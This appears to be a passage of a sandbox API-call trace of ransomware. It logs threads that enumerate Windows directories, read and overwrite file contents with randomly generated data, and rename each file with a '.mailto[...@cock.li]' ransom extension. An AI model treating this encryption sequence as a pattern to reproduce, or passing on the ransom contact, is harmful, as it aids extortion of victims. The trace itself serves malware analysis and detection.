	[0089.645] wcscat (in: _Dest=0x2e02570, _Source="WeatherColorIcons.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf"
	[0089.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e02570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c84
	[0089.645] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf530, dwReserved0=0x0, dwReserved1=0x0, cFileName="WeatherColorIcons.ttf", cAlternateFileName="")) returned 0
	[0089.645] FindClose (in: hFindFile=0x477b5e8 | out: hFindFile=0x477b5e8) returned 1
	[0089.646] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f277b0) returned 1
	[0089.646] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4779760) returned 1
	[0089.646] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751f78) returned 1

Thread:
	id = 1228
	os_tid = 0x1f9c

	[0087.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2d83198
	[0087.916] wcscpy (in: _Dest=0x2d83198, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css"
	[0087.917] wcscat (in: _Dest=0x2d83198, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\"
	[0087.917] wcscat (in: _Dest=0x2d83198, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*"
	[0087.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27a18
	[0087.917] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*", lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b628
	[0087.917] wcscmp (_String1=".", _String2=".") returned 0
	[0087.917] FindNextFileW (in: hFindFile=0x477b628, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.917] wcscmp (_String1="..", _String2=".") returned 1
	[0087.917] wcscmp (_String1="..", _String2="..") returned 0
	[0087.917] FindNextFileW (in: hFindFile=0x477b628, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe-desktop.css", cAlternateFileName="OOBE-D~1.CSS")) returned 1
	[0087.917] wcscmp (_String1="oobe-desktop.css", _String2=".") returned 1
	[0087.918] wcscmp (_String1="oobe-desktop.css", _String2="..") returned 1
	[0087.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e31a08
	[0087.918] wcscpy (in: _Dest=0x4e31a08, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css"
	[0087.918] wcscat (in: _Dest=0x4e31a08, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\"
	[0087.918] wcscat (in: _Dest=0x4e31a08, _Source="oobe-desktop.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css"
	[0089.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b28
	[0089.642] FindNextFileW (in: hFindFile=0x477b628, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-dark.css", cAlternateFileName="")) returned 1
	[0089.642] wcscmp (_String1="ui-dark.css", _String2=".") returned 1
	[0089.642] wcscmp (_String1="ui-dark.css", _String2="..") returned 1
	[0089.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476dd68
	[0089.642] wcscpy (in: _Dest=0x476dd68, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css"
	[0089.642] wcscat (in: _Dest=0x476dd68, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\"
	[0089.642] wcscat (in: _Dest=0x476dd68, _Source="ui-dark.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css"
	[0089.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476dd68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c80
	[0089.643] FindNextFileW (in: hFindFile=0x477b628, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-dark.css", cAlternateFileName="")) returned 0
	[0089.643] FindClose (in: hFindFile=0x477b628 | out: hFindFile=0x477b628) returned 1
	[0089.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27a18) returned 1
	[0089.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0089.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1

Thread:
	id = 1229
	os_tid = 0x1fa0

	[0087.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2d83210
	[0087.918] wcscpy (in: _Dest=0x2d83210, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js"
	[0087.918] wcscat (in: _Dest=0x2d83210, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\"
	[0087.918] wcscat (in: _Dest=0x2d83210, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*"
	[0087.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27c80
	[0087.918] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*", lpFindFileData=0x4f27c80 | out: lpFindFileData=0x4f27c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b668
	[0087.918] wcscmp (_String1=".", _String2=".") returned 0
	[0087.918] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x4f27c80 | out: lpFindFileData=0x4f27c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.918] wcscmp (_String1="..", _String2=".") returned 1
	[0087.918] wcscmp (_String1="..", _String2="..") returned 0
	[0087.918] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x4f27c80 | out: lpFindFileData=0x4f27c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1395c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.js", cAlternateFileName="")) returned 1
	[0087.918] wcscmp (_String1="base.js", _String2=".") returned 1
	[0087.918] wcscmp (_String1="base.js", _String2="..") returned 1
	[0087.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc710
	[0087.918] wcscpy (in: _Dest=0x47bc710, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js"
	[0087.919] wcscat (in: _Dest=0x47bc710, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\"
	[0087.919] wcscat (in: _Dest=0x47bc710, _Source="base.js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js"
	[0089.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x185c
	[0089.639] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x4f27c80 | out: lpFindFileData=0x4f27c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui.js", cAlternateFileName="")) returned 1
	[0089.639] wcscmp (_String1="ui.js", _String2=".") returned 1
	[0089.639] wcscmp (_String1="ui.js", _String2="..") returned 1
	[0089.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc790
	[0089.639] wcscpy (in: _Dest=0x47bc790, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js"
	[0089.639] wcscat (in: _Dest=0x47bc790, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\"
	[0089.639] wcscat (in: _Dest=0x47bc790, _Source="ui.js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js"
	[0089.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c7c
	[0089.640] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x4f27c80 | out: lpFindFileData=0x4f27c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui.js", cAlternateFileName="")) returned 0
	[0089.640] FindClose (in: hFindFile=0x477b668 | out: hFindFile=0x477b668) returned 1
	[0089.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27c80) returned 1
	[0089.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83210) returned 1
	[0089.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eca40) returned 1

Thread:
	id = 1230
	os_tid = 0x1fa4

	[0087.919] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm")) returned 0x20
	[0087.920] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm", dwFileAttributes=0x20) returned 1
	[0087.920] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b2c
	[0087.920] GetFileSizeEx (in: hFile=0x1b2c, lpFileSize=0x2abbfd7c | out: lpFileSize=0x2abbfd7c*=110445) returned 1
	[0087.920] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x1af69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.920] ReadFile (in: hFile=0x1b2c, lpBuffer=0x2abbfd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2abbfcfc, lpOverlapped=0x0 | out: lpBuffer=0x2abbfd00*, lpNumberOfBytesRead=0x2abbfcfc*=0x4, lpOverlapped=0x0) returned 1
	[0087.922] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.922] NtQuerySystemTime (in: CurrentTime=0x2abbfcdc | out: CurrentTime=0x2abbfcdc*=132251868146631843) returned 0x0
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xf650703f
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xbbe940b
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xa2e2bd24
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x9b458792
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xb60595e
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x2619d203
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xb9d6a985
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x38616d5d
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x66f790d4
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x52e2ef72
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x47384507
	[0087.922] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x4cae97f5
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x297413dd
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x18a37ec2
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x1bf8df3e
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x13effa44
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x55a64703
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xd4aef2cf
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xac04fe0c
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xab77df13
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x96232043
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x7f90f65
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x58424e29
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xdad09ea7
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x556a691b
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xcff7be47
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x82e996f9
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xedb09b59
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x6b21eff
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0xe64aef87
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x7df7b35f
	[0087.923] RtlRandom (in: Seed=0x2abbfce8 | out: Seed=0x2abbfce8) returned 0x97e847c5
	[0087.931] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.931] ReadFile (in: hFile=0x1b2c, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2abbfcbc, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2abbfcbc*=0xc800, lpOverlapped=0x0) returned 1
	[0087.932] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.933] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.934] WriteFile (in: hFile=0x1b2c, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2abbfcbc, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x2abbfcbc*=0xc800, lpOverlapped=0x0) returned 1
	[0087.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e45968
	[0087.936] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.936] WriteFile (in: hFile=0x1b2c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2abbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2abbfd3c*=0x10d, lpOverlapped=0x0) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e459d8) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45968) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0087.949] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm"
	[0087.949] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.949] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2abbfcf4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0087.949] NtSetInformationFile (FileHandle=0x1b2c, IoStatusBlock=0x2abbfcec, FileInformation=0x47ea060, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0087.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0087.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0087.950] NtQueryInformationFile (in: FileHandle=0x1b2c, IoStatusBlock=0x2abbfd00, FileInformation=0x2abbfcd8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2abbfd00, FileInformation=0x2abbfcd8) returned 0x0
	[0087.950] NtSetInformationFile (FileHandle=0x1b2c, IoStatusBlock=0x2abbfd00, FileInformation=0x2abbfcd8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0087.951] FlushFileBuffers (hFile=0x1b2c) returned 1
	[0093.245] CloseHandle (hObject=0x1b2c) 

Thread:
	id = 1231
	os_tid = 0x1fa8

	[0087.931] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm")) returned 0x20
	[0087.932] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm", dwFileAttributes=0x20) returned 1
